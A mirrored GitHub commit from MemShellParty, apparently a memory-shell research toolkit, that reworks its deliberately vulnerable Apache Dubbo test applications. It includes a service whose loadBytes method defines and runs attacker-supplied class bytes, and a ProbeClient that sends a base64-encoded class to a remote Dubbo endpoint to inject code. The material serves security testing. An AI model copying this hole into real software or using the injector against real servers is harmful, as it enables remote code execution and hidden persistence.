mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
fix: dubbo3 inject failed
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
This commit is contained in:
+1
-10
@@ -1,15 +1,11 @@
|
||||
package com.reajason.javaweb.vuldubbo278;
|
||||
package com.reajason.javaweb.dubbo;
|
||||
|
||||
import org.apache.dubbo.common.bytecode.ClassGenerator;
|
||||
import org.apache.dubbo.common.utils.ClassUtils;
|
||||
import org.apache.dubbo.config.annotation.DubboService;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
|
||||
@DubboService(version = "1.0.0", path = "demo_say_hello")
|
||||
public class DefaultDemoService extends ClassLoader implements DemoService {
|
||||
|
||||
private final DubboServiceInjector dubboServiceInjector = new DubboServiceInjector();
|
||||
|
||||
/**
|
||||
* The default value of ${dubbo.application.name} is ${spring.application.name}
|
||||
*/
|
||||
@@ -35,9 +31,4 @@ public class DefaultDemoService extends ClassLoader implements DemoService {
|
||||
}
|
||||
return o.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String registerService(String path, String interfaceClassName, String implementationClassName) {
|
||||
return dubboServiceInjector.registerService(path, interfaceClassName, implementationClassName);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
package com.reajason.javaweb.dubbo;
|
||||
|
||||
public interface DemoService {
|
||||
|
||||
String sayHello(String name);
|
||||
|
||||
String loadBytes(byte[] bytes);
|
||||
|
||||
}
|
||||
+10
-9
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.vuldubbo278;
|
||||
package com.reajason.javaweb.dubbo;
|
||||
|
||||
import com.caucho.hessian.client.HessianProxyFactory;
|
||||
import com.caucho.hessian.io.HessianRemoteObject;
|
||||
@@ -18,11 +18,11 @@ public class ProbeClient {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
// dubboSayHello("dubbo://127.0.0.1:12345/demo_say_hello");
|
||||
// try {
|
||||
// dubboExploit();
|
||||
// } catch (Exception e) {
|
||||
// e.printStackTrace();
|
||||
// }
|
||||
try {
|
||||
dubboExploit();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
// exploit();
|
||||
}
|
||||
|
||||
@@ -58,9 +58,9 @@ public class ProbeClient {
|
||||
}
|
||||
|
||||
public static void dubboExploit() throws Exception {
|
||||
String url = "dubbo://192.168.31.206:12345/org.apache.http.web.handlers.wJMhG.OAuthDubboService";
|
||||
String b = "H4sIAAAAAAAA/zv1b9c+BgYGEwZ2Rgaz/KJ0/cSCxOSMVP2MkpIC/fLUJP2MxLyUnNSiYv1yL98Md31/x9KSDJfSpKT84NSisszkVBVDdgZGRgaBrMSyRP2cxLx0ff+krNTkEnYGZkYGNohuIEMj2kkz2omNkYGJgYUBBBhZGBlYGdhATAD+bjiShAAAAA==";
|
||||
byte[] bytes = gzipDecompress(Base64.getDecoder().decode(b));
|
||||
String url = "dubbo://198.18.0.1:50051/org.apache.http.web.handlers.VTcIU.AuthDubboService";
|
||||
String b = "yv66vgAAADQABwEANW9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvVlRjSVUvQXV0aER1YmJvU2VydmljZSQxBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABmhhbmRsZQEABihbQilbQgYBAAIABAAAAAAAAQQBAAUABgAAAAA=";
|
||||
byte[] bytes = Base64.getDecoder().decode(b);
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
ClassLoader classLoader = ClassGenerator.class.getClassLoader();
|
||||
@@ -70,6 +70,7 @@ public class ProbeClient {
|
||||
reference.setApplication(new ApplicationConfig("dubbo-consumer"));
|
||||
reference.setInterface(clazz);
|
||||
reference.setVersion("1.0.0");
|
||||
reference.setProxy("jdk");
|
||||
reference.setUrl(url);
|
||||
|
||||
try {
|
||||
+1
-5
@@ -1,11 +1,7 @@
|
||||
package com.reajason.javaweb.vuldubbo278;
|
||||
package com.reajason.javaweb.dubbo;
|
||||
|
||||
import org.springframework.boot.ApplicationRunner;
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
|
||||
import javax.script.ScriptEngineManager;
|
||||
|
||||
@SpringBootApplication
|
||||
public class VulDubbo278Application {
|
||||
@@ -1,10 +0,0 @@
|
||||
package com.reajason.javaweb.vuldubbo278;
|
||||
|
||||
public interface DemoService {
|
||||
|
||||
String sayHello(String name);
|
||||
|
||||
String loadBytes(byte[] bytes);
|
||||
|
||||
String registerService(String path, String interfaceClassName, String implementationClassName);
|
||||
}
|
||||
-154
@@ -1,154 +0,0 @@
|
||||
package com.reajason.javaweb.vuldubbo278;
|
||||
|
||||
import org.apache.dubbo.common.utils.NetUtils;
|
||||
import org.apache.dubbo.config.ProtocolConfig;
|
||||
import org.apache.dubbo.config.RegistryConfig;
|
||||
import org.apache.dubbo.config.ServiceConfig;
|
||||
import org.apache.dubbo.config.ServiceConfigBase;
|
||||
import org.apache.dubbo.config.context.ConfigManager;
|
||||
import org.apache.dubbo.rpc.model.ApplicationModel;
|
||||
import org.slf4j.Logger;
|
||||
import org.slf4j.LoggerFactory;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collection;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class DubboServiceInjector {
|
||||
private static final Logger logger = LoggerFactory.getLogger(DubboServiceInjector.class);
|
||||
|
||||
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
|
||||
|
||||
public String registerService(String path, String interfaceClassName, String implementationClassName) {
|
||||
String normalizedPath = normalizePath(path);
|
||||
if (normalizedPath.isEmpty()) {
|
||||
throw new IllegalArgumentException("path must not be empty");
|
||||
}
|
||||
|
||||
if (dynamicServices.containsKey(normalizedPath)) {
|
||||
String addresses = resolveServiceAddresses(normalizedPath);
|
||||
logger.info("service path [{}] already registered by injector, skipping: {}", normalizedPath, addresses);
|
||||
return addresses;
|
||||
}
|
||||
|
||||
if (isPathRegisteredInFramework(normalizedPath)) {
|
||||
String addresses = resolveServiceAddresses(normalizedPath);
|
||||
logger.info("service path [{}] already registered in framework, skipping: {}", normalizedPath, addresses);
|
||||
return addresses;
|
||||
}
|
||||
|
||||
Class<?> interfaceClass = loadLocalClass(interfaceClassName);
|
||||
Class<?> implementationClass = loadLocalClass(implementationClassName);
|
||||
validateServiceTypes(interfaceClass, implementationClass);
|
||||
|
||||
Object serviceInstance = instantiate(implementationClass);
|
||||
ServiceConfig<Object> serviceConfig = createServiceConfig(normalizedPath, interfaceClass, serviceInstance);
|
||||
ServiceConfig<?> previous = dynamicServices.putIfAbsent(normalizedPath, serviceConfig);
|
||||
if (previous != null) {
|
||||
return resolveServiceAddresses(normalizedPath);
|
||||
}
|
||||
|
||||
try {
|
||||
serviceConfig.export();
|
||||
String addresses = resolveServiceAddresses(normalizedPath);
|
||||
logger.info("registered dynamic service [{}] at {}", normalizedPath, addresses);
|
||||
return addresses;
|
||||
} catch (RuntimeException e) {
|
||||
dynamicServices.remove(normalizedPath, serviceConfig);
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
|
||||
private boolean isPathRegisteredInFramework(String path) {
|
||||
Collection<ServiceConfigBase> services = ApplicationModel.getConfigManager().getServices();
|
||||
return services.stream().anyMatch(s -> path.equals(s.getPath()));
|
||||
}
|
||||
|
||||
private String normalizePath(String path) {
|
||||
if (path == null) {
|
||||
return "";
|
||||
}
|
||||
String normalized = path.trim();
|
||||
while (normalized.startsWith("/")) {
|
||||
normalized = normalized.substring(1);
|
||||
}
|
||||
return normalized;
|
||||
}
|
||||
|
||||
private Class<?> loadLocalClass(String className) {
|
||||
try {
|
||||
return Class.forName(className, true, Thread.currentThread().getContextClassLoader());
|
||||
} catch (ClassNotFoundException e) {
|
||||
throw new IllegalArgumentException("class not found on local classpath: " + className, e);
|
||||
}
|
||||
}
|
||||
|
||||
private void validateServiceTypes(Class<?> interfaceClass, Class<?> implementationClass) {
|
||||
if (!interfaceClass.isInterface()) {
|
||||
throw new IllegalArgumentException("not an interface: " + interfaceClass.getName());
|
||||
}
|
||||
if (implementationClass.isInterface() || Modifier.isAbstract(implementationClass.getModifiers())) {
|
||||
throw new IllegalArgumentException("implementation class is not instantiable: " + implementationClass.getName());
|
||||
}
|
||||
if (!interfaceClass.isAssignableFrom(implementationClass)) {
|
||||
throw new IllegalArgumentException(implementationClass.getName()
|
||||
+ " does not implement " + interfaceClass.getName());
|
||||
}
|
||||
}
|
||||
|
||||
private Object instantiate(Class<?> implementationClass) {
|
||||
try {
|
||||
Constructor<?> constructor = implementationClass.getDeclaredConstructor();
|
||||
constructor.setAccessible(true);
|
||||
return constructor.newInstance();
|
||||
} catch (ReflectiveOperationException e) {
|
||||
throw new IllegalArgumentException("failed to instantiate " + implementationClass.getName(), e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
private ServiceConfig<Object> createServiceConfig(String path, Class<?> interfaceClass, Object serviceInstance) {
|
||||
ConfigManager configManager = ApplicationModel.getConfigManager();
|
||||
|
||||
ServiceConfig serviceConfig = new ServiceConfig();
|
||||
serviceConfig.setInterface(interfaceClass);
|
||||
serviceConfig.setRef(serviceInstance);
|
||||
serviceConfig.setPath(path);
|
||||
serviceConfig.setVersion("1.0.0");
|
||||
serviceConfig.setApplication(configManager.getApplication().orElse(null));
|
||||
|
||||
List<ProtocolConfig> protocols = new ArrayList<>(configManager.getDefaultProtocols());
|
||||
if (protocols.isEmpty()) {
|
||||
protocols = new ArrayList<>(configManager.getProtocols());
|
||||
}
|
||||
serviceConfig.setProtocols(protocols);
|
||||
|
||||
List<RegistryConfig> registries = new ArrayList<>(configManager.getDefaultRegistries());
|
||||
if (registries.isEmpty()) {
|
||||
registries = new ArrayList<>(configManager.getRegistries());
|
||||
}
|
||||
serviceConfig.setRegistries(registries);
|
||||
|
||||
return serviceConfig;
|
||||
}
|
||||
|
||||
private String resolveServiceAddresses(String path) {
|
||||
ConfigManager configManager = ApplicationModel.getConfigManager();
|
||||
List<ProtocolConfig> protocols = configManager.getDefaultProtocols();
|
||||
if (protocols.isEmpty()) {
|
||||
protocols = new ArrayList<>(configManager.getProtocols());
|
||||
}
|
||||
if (protocols.isEmpty()) {
|
||||
return path;
|
||||
}
|
||||
String localHost = NetUtils.getLocalHost();
|
||||
return protocols.stream()
|
||||
.map(pc -> String.format("%s://%s:%d/%s", pc.getName(), localHost, pc.getPort(), path))
|
||||
.collect(Collectors.joining(", "));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
plugins {
|
||||
id("org.springframework.boot") version "2.7.6"
|
||||
id("io.spring.dependency-management") version "1.0.15.RELEASE"
|
||||
id("java")
|
||||
}
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
targetCompatibility = JavaVersion.VERSION_1_8
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("org.springframework.boot:spring-boot-starter")
|
||||
implementation("org.apache.dubbo:dubbo-spring-boot-starter:3.1.5")
|
||||
implementation("javax.servlet:javax.servlet-api:4.0.1")
|
||||
implementation("org.eclipse.jetty:jetty-server")
|
||||
implementation("org.eclipse.jetty:jetty-servlet")
|
||||
implementation("commons-io:commons-io:2.19.0")
|
||||
implementation("net.bytebuddy:byte-buddy:1.10.10")
|
||||
testImplementation("org.springframework.boot:spring-boot-starter-test") {
|
||||
exclude(group = "org.mockito")
|
||||
}
|
||||
testImplementation("org.junit.jupiter:junit-jupiter-api")
|
||||
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||
runtimeOnly("com.h2database:h2")
|
||||
}
|
||||
|
||||
tasks.test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package com.reajason.javaweb.dubbo;
|
||||
|
||||
import org.apache.dubbo.config.annotation.DubboService;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
|
||||
@DubboService(version = "1.0.0", path = "demo_say_hello")
|
||||
public class DefaultDemoService extends ClassLoader implements DemoService {
|
||||
/**
|
||||
* The default value of ${dubbo.application.name} is ${spring.application.name}
|
||||
*/
|
||||
@Value("${dubbo.application.name}")
|
||||
private String serviceName;
|
||||
|
||||
public DefaultDemoService() {
|
||||
super(Thread.currentThread().getContextClassLoader());
|
||||
}
|
||||
|
||||
public String sayHello(String name) {
|
||||
return String.format("[%s] : Hello, %s", serviceName, name);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String loadBytes(byte[] bytes) {
|
||||
System.out.println("i am in");
|
||||
Class<?> aClass = defineClass(bytes, 0, bytes.length);
|
||||
System.out.println("define class");
|
||||
Object o = null;
|
||||
try {
|
||||
System.out.println("new instance");
|
||||
o = aClass.newInstance();
|
||||
} catch (Exception e) {
|
||||
System.out.println("error for new instance");
|
||||
e.printStackTrace();
|
||||
}
|
||||
return String.format("[%s] : Hello, %s", serviceName, o.toString());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
package com.reajason.javaweb.dubbo;
|
||||
|
||||
public interface DemoService {
|
||||
|
||||
String sayHello(String name);
|
||||
|
||||
String loadBytes(byte[] bytes);
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,15 @@
|
||||
package com.reajason.javaweb.dubbo;
|
||||
|
||||
import org.apache.dubbo.config.spring.context.annotation.EnableDubbo;
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
|
||||
@SpringBootApplication
|
||||
@EnableDubbo
|
||||
public class VulDubbo315Application {
|
||||
|
||||
public static void main(String[] args) {
|
||||
SpringApplication.run(VulDubbo315Application.class, args);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
# Spring boot application
|
||||
spring.application.name=dubbo-auto-configuration-provider-demo
|
||||
# Base packages to scan Dubbo Component: @org.apache.dubbo.config.annotation.Service
|
||||
dubbo.scan.base-packages=com.reajason.javaweb.vuldubbo315
|
||||
|
||||
# Dubbo Application
|
||||
## The default value of dubbo.application.name is ${spring.application.name}
|
||||
## dubbo.application.name=${spring.application.name}
|
||||
|
||||
# Dubbo Protocol
|
||||
dubbo.protocol.name=tri
|
||||
dubbo.protocol.port=50051
|
||||
|
||||
## Dubbo Registry
|
||||
dubbo.registry.address=N/A
|
||||
Reference in New Issue
Block a user